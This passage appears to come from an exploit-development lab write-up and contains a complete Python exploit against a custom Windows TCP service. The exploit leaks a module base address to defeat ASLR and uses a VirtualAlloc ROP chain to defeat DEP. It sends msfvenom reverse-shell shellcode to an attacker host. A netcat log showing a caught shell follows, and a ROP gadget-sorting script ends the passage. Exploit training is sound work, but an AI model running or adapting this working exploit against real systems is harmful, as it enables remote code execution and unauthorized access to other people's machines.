rop += pack("<L", (mbase << 16) + 0x4117)                                       # 0x30104117: add eax, ecx ; pop esi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
rop += pack("<L", (mbase << 16) + 0x3331)                                       # 0x30103331: xchg eax, ebp ; ret  ;
rop += pack("<L", (mbase << 16) + 0x6de6)                                       # 0x30106de6: mov esp, ebp ; pop ebp ; ret  ;
...

Final PoC Python Code - Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#!/usr/bin/python
# Mitigations -----> ALSR/DEP
# Author ----------> OffStrike
####################################################################################
# ---------------------------- Import Python Modules ----------------------------- #
import socket
import sys
import struct
import select
import time, threading
import subprocess
from struct import pack

client_socket = None
####################################################################################
# -------------------- Colors Definition (ANSI Escape Sequence) ------------------ #
RED    = '\033[31m'
WHITE  = '\033[37m'
GREEN  = '\033[32m'
BLUE   = '\033[34m'
YELLOW = '\033[33m'
RESET  = '\033[0m'

# -------------------------- Standard Developer Banner --------------------------- #
# --------------------- Console art pattern create function ---------------------- #
def print_pattern():
    pattern = [
        r"   ________   _____  _____  _________ __         .__ __                ",
        r"   \_____  \_/ ____\/ ____\/   _____//  |________|__|  | __ ____       ",
        r"   /   |   \   __\\   __\ \_____  \\   __\_  __ \  |  |/ // __ \       ",
        r"  /    |    \  |   |  |   /        \|  |  |  | \/  |    <\  ___/       ",
        r"  \_______  /__|   |__|  /_______  /|__|  |__|  |__|__|_ \\___  >      ",
        r"          \/                     \/                     \/    \/       ",
        r"                                                                       ",
    ]
    for line in pattern:
        print(line)
# -------------------------- Automated Shellcode generator------------------------ #
def parse_shellcode_from_file():
    output_file = "temp.txt"
    shellcode = b""
    try:
        with open(output_file, 'r') as file:
            for line in file:
                if 'b"' in line or 'b\'' in line:
                    start = line.find('b"') + 2 if 'b"' in line else line.find("b'") + 2
                    end = line.rfind('"') if 'b"' in line else line.rfind("'")
                    byte_string = line[start:end].strip()
                    for i in range(0, len(byte_string), 4):
                      byte = bytes.fromhex(byte_string[i+2:i+4])
                      shellcode += byte        
        if shellcode:
            print("    + Exploit shellcode generated successfully.")
            return shellcode
        else:
            print("    - Exploit shellcode was not generated.")
    except FileNotFoundError:
        print(f"    ! Error: File '{output_file}' not found.")
    except Exception as e:
        print(f"    ! An error occurred while parsing the shellcode: {str(e)}")
    return None

def generate_shellcode_to_file(lhost, lport):
    command = [
        'msfvenom',
        '-p', 'windows/shell_reverse_tcp',
        f'LHOST={lhost}',
        f'LPORT={lport}',
        '-f', 'python',
        '-v', 'shellcode'
    ]
    try:
        with open("temp.txt", 'w') as file:
            subprocess.run(command, stdout=file, stderr=subprocess.STDOUT, check=True)
    except subprocess.CalledProcessError as e:
        print(f"    ! Error generating shellcode:\n{e.output.decode('utf-8')}")
    except Exception as ex:
        print(f"    ! An error occurred: {str(ex)}")

# ---------------------------- Logic leak exploit buffer ------------------------- #
asl  = pack("<L", 0x3344555e)                                                      # jump to sub_2FFD1210 
asl += pack("<L", 0x90909090)                                                      # 0x90909090 -> offset
asl += pack("<L", 0x308)                                                           # jump to sub_2FFD1198 
asl += pack("<L", 0x90909090)                                                      # 0x90909090 -> offset
asl += pack("<L", 0x123)                                                           # GetUserName buff size
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer
asl += pack("<L", 0x41414141)                                                      # memmove dest buffer

# ------------------------------ DEP Bypass ROP Chain ---------------------------- #
def build_exploit(mbase, server, port):
# ------------------------------ Exit condition
    if not mbase:
        return
# ------------------------------ Generate Shellcode
    print(f"[+] Generating exploit shellcode:\n    + Attacker IP: {sys.argv[2]} \n    + Attacker Port: {port} \n    + Please wait...")
    generate_shellcode_to_file(sys.argv[2], port)
    shellcode  = b"\x90" * 8
    shellcode += parse_shellcode_from_file()
    shellcode += b"\x90" * (524 - len(shellcode)) 

# ------------------------------- Execution Control
    mbase    = int(mbase, 16)
    offset   = pack("<L", (0x33444776))                                             # jump to sub_2FFD1210
    offset  += pack("<L", (0x90909090))                                             # 0x90909090 -> offset
    offset  += pack("<L", (0x00000305))                                             # jump to sub_2FFD1050                                   
    offset  += bytearray([0x41] * 3568)                                             # EIP Offset

# ------------------------------ VirtualAlloc Skeleton 
    va  = pack("<L", (0x45454545))                                                  # dummy VirtualAlloc Address
    va += pack("<L", (0x46464646))                                                  # Shellcode Return Address
    va += pack("<L", (0x47474747))                                                  # dummy Shellcode Address
    va += pack("<L", (0x48484848))                                                  # dummy dwSize 
    va += pack("<L", (0x49494949))                                                  # dummy flAllocationType 
    va += pack("<L", (0x51515151))                                                  # dummy flProtect 

# ------------------------------- Patch VirtualAlloc Address
    rop  = pack("<L", (mbase << 16) + 0x11c13)                                      # 0x30111c13: pop edx ; ret
    rop += pack("<L", (mbase << 16) + 0x14014)                                      # 0x30114014: IAT address
    rop += pack("<L", (mbase << 16) + 0x11bc4)                                      # 0x30111bc4: mov eax, dword [edx+0x04] ; ret
    rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret
    rop += pack("<L", (0x00000000))                                                 # 0x00000000: zero
    rop += pack("<L", (mbase << 16) + 0x41bc)                                       # 0x301041bc: add esi, eax ... ; pop edi ; pop ebp ; ret
    rop += pack("<L", (0x41414141))                                                 # 0x41414141: junk -> edi
    rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> ebp

    rop += pack("<L", (mbase << 16) + 0x11ef)                                       # 0x301011ef: mov eax, esp ; ret

    rop += pack("<L", (mbase << 16) + 0x11c11)                                      # 0x30111c11: sub al, 0x24 ; pop edx ; ret ;
    rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> edx
    rop += pack("<L", (mbase << 16) + 0x11c11)                                      # 0x30111c11: sub al, 0x24 ; pop edx ; ret ;
    rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> edx
    rop += pack("<L", (mbase << 16) + 0x7696)                                       # 0x30107696: add eax, 0x08 ; pop ebp ; ret ;
    rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> ebp
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;  
    
    rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret
    rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> esi
    rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> ebp

# --------------------------------- Patch Return Address
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
    rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
    rop += pack("<L", (0xffffae04))                                                 # 0xffffae04: - 20,992
    rop += pack("<L", (mbase << 16) + 0x41bc)                                       # 0x301041bc: add esi, eax ; inc ecx ; add al, 0x00 ; pop edi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop edi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
    rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp

# --------------------------------- Patch lpAddress
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
    rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
    rop += pack("<L", (0xffffae00))                                                 # 0xffffae00: - 20,988
    rop += pack("<L", (mbase << 16) + 0x41bc)                                       # 0x301041bc: add esi, eax ; inc ecx ; add al, 0x00 ; pop edi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop edi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
    rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp

# --------------------------------- Patch dwSize
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
    rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
    rop += pack("<L", (0x00001000))                                                 # 0x00001000: 4096 bytes (page)
    rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp

# --------------------------------- Patch flAllocationType
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
    rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
    rop += pack("<L", (0x00001000))                                                 # 0x00001000: 0x1000 -> MEM_COMMIT
    rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp

# --------------------------------- Patch flProctect
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
    rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
    rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
    rop += pack("<L", (0x00000040))                                                 # 0x00000040: 0x40 -> PAGE_EXECUTE_READWRITE
    rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp

# --------------------------------- Return to VirtualAlloc
    rop += pack("<L", (mbase << 16) + 0x120e)                                       # 0x3010120e: pop ecx ; ret ;
    rop += pack("<L", (0xffffffe8))                                                 # -0x18: - 24
    rop += pack("<L", (mbase << 16) + 0x4117)                                       # 0x30104117: add eax, ecx ; pop esi ; pop ebp ; ret  ;
    rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
    rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
    rop += pack("<L", (mbase << 16) + 0x3331)                                       # 0x30103331: xchg eax, ebp ; ret  ;
    rop += pack("<L", (mbase << 16) + 0x6de6)                                       # 0x30106de6: mov esp, ebp ; pop ebp ; ret  ;

    rop += bytearray([0x43] * (496 - len(rop))) 

# ---------------------------- Prepare the Dep buffer 
    print("[+] Preparing final exploit:")
    dep = offset + shellcode + va + rop                                             # Build the payload buffer
    print("    + exploit delivered.")
    send_buffer(server, port, dep, False)                                           # Send final exploit payload

# ------------------ Convert the returned hex values into DWORDs ------------------ #
def is_valid_hex(byte):
    try:
        int.from_bytes([byte], byteorder='big')                                     # Check if it's a valid byte
        return True
    except ValueError:
        return False

def bytes_to_dword(byte_sequence):
# -------------------- Combine the four bytes into a single DWORD
    return struct.unpack('<I', byte_sequence)[0]

def process_data(data):
    dwords = []
    for i in range(0, len(data), 4):
# ------------------------ Get the next four bytes
        byte_seq = data[i:i+4]
        if len(byte_seq) == 4 and all(is_valid_hex(b) for b in byte_seq):
            dword = bytes_to_dword(byte_seq)
            dwords.append(dword)
    return dwords
# --------------- Check if the DWORDs end with a valid offset
def search_dwords(dwords, search_terms):
    found = []
    for term in search_terms:
        for dword in dwords:
            if hex(dword)[2:].zfill(8).endswith(term):
                found.append(dword)
    return found

# ----------------------------- Define send buffer ------------------------------ #
def send_buffer(server, port, buffer, recv=False):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((server, port))
        s.send(buffer)                                                            # Send the buffer
        
        if recv:
            rdata = s.recv(1024)                                                  # Receive data if requested
            return rdata
    finally:
        s.close()

# --------------------------- DEP Bypass (ROP Chain) --------------------------- #
def send_exploit():
    return 
# -------------------------- Main execution flow logic ------------------------- #
def main():
    server  = sys.argv[1]
    port    = 1234
    size    = 1600                                                                # Final Payload Size
    nOffset = 780                                                                 # Buffer EIP Offset
    padSize = 160                                                                 # Padding Size 
    bString = "Unavailable"                                                       # ASLR error string
    bOffset = ['1e70', '5cda']                                                    # search offsets
    modBase = ""                                                                  # Module base address
                                                                                  # Bad characters: \x00\x0A\x0D\x25\x26\x2B\x3D
                                                                                  # DEP bypass API: VirtualAlloc()
                                                                                  # ASLR bypass: GetUserNameA
    try:
        if len(sys.argv) != 3:
            print("Incorrect number of arguments.")
            print("Usage: %s <Target IP> <Attacker IP>" % (sys.argv[0]))
            sys.exit(1)
# ----------------------------- Print Banner Art 
        print("{}\n".format(BLUE))
        print_pattern()
        print("{}\n".format(WHITE))
        print(f"[+] Exploit details:\n    + Target IP: {sys.argv[1]} \n    + Target Port: {port}")
# ----------------------------- Begin ASLR Bypass
        response = send_buffer(server, port, asl, True)
        nDWORDs  = process_data(response)
        fDWORDs  = search_dwords(nDWORDs, bOffset)
        if fDWORDs:
            modBase = hex(fDWORDs[0])[2:].zfill(8)[:4]                            # Get the first 4 hex digits
            print(f"    + ASLR Bypass: Memory Leak\n    + Base Address: {modBase}")
# ----------------------------- Begin DEP Bypass
            build_exploit(modBase,server,port)                                    # Send final exploit to target
        else:
            print(f"    - ASLR Bypass: Memory Leak\n    - Base Address: {bString}")
    except socket.error:
        print("{}    ! Could not connect to {}.\n".format(BLUE, sys.argv[1]))

if __name__ == "__main__":
 	main()

Exploit Execution Test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
┌──(osee㉿OffStrike)-[/dev]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [100.110.16.17] from (UNKNOWN) [100.110.16.33] 50131
Microsoft Windows [Version 10.0.19045.6466]
(c) Microsoft Corporation. All rights reserved.

C:\Users\osee\Downloads>whoami
whoami
offstrike-cd02\osee

C:\Users\osee\Downloads>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : 2605:ad80:14:9010:f2c9:c91e:ab65:d7f8
   Temporary IPv6 Address. . . . . . : 2605:ad80:14:9010:989c:39b6:361f:1ac8
   Link-local IPv6 Address . . . . . : fe80::d58f:3d9a:a554:bf48%4
   IPv4 Address. . . . . . . . . . . : 100.110.16.33
   Subnet Mask . . . . . . . . . . . : 255.255.252.0
   Default Gateway . . . . . . . . . : fe80::1afd:74ff:fe69:7d3e%4
                                       100.110.16.1


┌──(osee㉿OffStrike)-[/exploit]
└─$ python3 exploit.py 100.110.16.33 100.110.16.17

   ________   _____  _____  _________ __         .__ __                
   \_____  \_/ ____\/ ____\/   _____//  |________|__|  | __ ____       
   /   |   \   __\\   __\ \_____  \\   __\_  __ \  |  |/ // __ \       
  /    |    \  |   |  |   /        \|  |  |  | \/  |    <\  ___/       
  \_______  /__|   |__|  /_______  /|__|  |__|  |__|__|_ \\___  >      
          \/                     \/                     \/    \/       
                                                                       

[+] Exploit details:
    + Target IP: 100.110.16.33 
    + Target Port: 1234
    + ASLR Bypass: Memory Leak
    + Base Address: 2f90
[+] Generating exploit shellcode:
    + Attacker IP: 100.110.16.17 
    + Attacker Port: 1234 
    + Please wait...
    + Exploit shellcode generated successfully.
[+] Preparing final exploit:
    + exploit delivered.

Custom Gadget Analyzer Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
import re
from collections import defaultdict

def parse_gadget(line):
    """Parse a single gadget line"""
    match = re.match(r'^(0x[0-9a-f]+):\s+(.+?)\s+;\s+\((\d+)\s+found\)$', line.strip())
    if match:
        addr, instructions, count = match.groups()
        return {
            'address': addr,
            'instructions': instructions.strip(),
            'count': int(count)
        }
    return None

def categorize_gadgets(gadgets):
    """Categorize gadgets by functionality"""
    categories = defaultdict(list)
    
    for g in gadgets:
        if not g:
            continue
            
        instrs = g['instructions'].lower()
        
        # Stack control
        if re.search(r'\bpop\s+(eax|ebx|ecx|edx|esi|edi|ebp)\b.*\bret\b', instrs):
            categories['pop_ret'].append(g)
        
        # Multiple pops
        if instrs.count('pop') >= 2 and 'ret' in instrs:
            categories['multi_pop'].append(g)
        
        # Stack pivot
        if re.search(r'\b(xchg|mov)\s+esp', instrs) or 'leave' in instrs:
            categories['stack_pivot'].append(g)
            
        # Register to register moves
        if re.search(r'\bmov\s+e[a-z]{2},\s*e[a-z]{2}\b', instrs) and 'ret' in instrs:
            categories['mov_reg'].append(g)
            
        # Write primitives (mov to memory)
        if re.search(r'\bmov\s+(byte|word|dword)\s*\[', instrs) and 'ret' in instrs:
            categories['write_mem'].append(g)
            
        # Read primitives (mov from memory)
        if re.search(r'\bmov\s+e[a-z]{2},\s*(byte|word|dword)?\s*\[', instrs) and 'ret' in instrs:
            categories['read_mem'].append(g)
            
        # Arithmetic
        if re.search(r'\b(add|sub|inc|dec)\s+e[a-z]{2}', instrs) and 'ret' in instrs:
            categories['arithmetic'].append(g)
            
        # XOR (zero out registers)
        if re.search(r'\bxor\s+e[a-z]{2},\s*e[a-z]{2}\b', instrs) and 'ret' in instrs:
            categories['xor'].append(g)
            
        # Function call patterns
        if 'call' in instrs:
            categories['call'].append(g)
            
        # Jump gadgets
        if re.search(r'\bjmp\s+(eax|ebx|ecx|edx|esi|edi|esp|ebp)', instrs):
            categories['jmp_reg'].append(g)
            
        # Push/ret combinations
        if 'push' in instrs and 'ret' in instrs:
            categories['push_ret'].append(g)
            
        # Add esp (stack adjustment)
        if re.search(r'\badd\s+esp,\s*0x', instrs) and 'ret' in instrs:
            categories['add_esp'].append(g)
            
        # Clean rets (just ret, no side effects)
        if instrs == 'ret':
            categories['clean_ret'].append(g)
            
        # Conditional moves
        if re.search(r'\bcmov', instrs) and 'ret' in instrs:
            categories['conditional'].append(g)
    
    return categories

# Read the file
with open('rop.txt', 'r', encoding='utf-8', errors='ignore') as f:
    lines = f.readlines()

# Parse all gadgets
gadgets = []
for line in lines:
    g = parse_gadget(line)
    if g:
        gadgets.append(g)

print(f"[+] Total gadgets parsed: {len(gadgets)}")
print("="*80)

# Categorize
categories = categorize_gadgets(gadgets)

# Display results
priority_categories = [
    ('pop_ret', 'Pop + Ret (Register Control)'),
    ('multi_pop', 'Multiple Pops + Ret'),
    ('stack_pivot', 'Stack Pivot'),
    ('xor', 'XOR (Zero Registers)'),
    ('mov_reg', 'Mov Register to Register'),
    ('write_mem', 'Write to Memory'),
    ('read_mem', 'Read from Memory'),
    ('arithmetic', 'Arithmetic Operations'),
    ('add_esp', 'Stack Alignment (add esp)'),
    ('jmp_reg', 'Jump to Register'),
    ('clean_ret', 'Clean Return'),
]

for cat_key, cat_name in priority_categories:
    if cat_key in categories and categories[cat_key]:
        print(f"\n[{cat_name}] - {len(categories[cat_key])} gadgets")
        print("-"*80)
        
        # Show top 20 gadgets for each category
        for g in sorted(categories[cat_key], key=lambda x: x['address'])[:20]:
            print(f"  {g['address']}: {g['instructions']}")
        
        if len(categories[cat_key]) > 20:
            print(f"  ... and {len(categories[cat_key]) - 20} more")

print("\n" + "="*80)
print("[+] Analysis Complete")
print(f"[+] Total categorized gadgets: {sum(len(v) for v in categories.values())}")